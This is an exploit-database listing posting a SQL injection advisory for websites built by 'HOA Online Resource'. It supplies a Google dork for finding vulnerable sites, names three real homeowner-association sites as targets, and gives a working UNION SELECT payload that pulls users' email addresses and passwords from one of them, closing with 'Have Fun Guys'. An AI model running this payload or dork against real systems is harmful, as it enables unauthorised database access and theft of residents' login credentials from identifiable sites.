[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

HOA Online Resource - SQL Injection Vulnerability

Author
D0m12
Risk
[
Security Risk High
]
0day-ID
0day-ID-18206
Category
web applications
Date add
06-05-2012
Platform
php
==========================================================================
<<<:>>>   HOA Online Resource - SQL Injection Vulnerability          <<:>>>
==========================================================================
Title: HOA Online Resource - SQL Injection Vulnerability
Author : D0m12
Date: 06/05/2012
Google Dork--> intext:"Website Design by HOA Online Resource" inurl:.php?id=
Vendor Link: http://www.hoaonlineresource.com/
Tested On: Win 7
Contact : d0m1265@yahoo.com
[+]Demos
http://co4bigred.com/news.php?id=8'
http://www.seabridgeowners.com/article.php?id=110'
http://www.kingslandglenhoa.com/news.php?id=2'
MANY MORE @ Google 

Note: In some websites you might not see the mysql error message but it is vulnerable.You will notice that part of page won't load
Proof of Concept:
http://www.kingslandglenhoa.com/news.php?id=-2+UnIon+seleCt+1,2,3,GrOUp_COnCaT(emailaddr,0x3a,pw),5,6+from+hoaonlin_kingslandglenhoa.users--


Have Fun Guys :D
Hope they fix their shit soon :) 
 #########################################################################
 Greetz To :
 All My Friends From ABH & to All those who know me:)
 #########################################################################



#  0day.today [2024-11-15]  #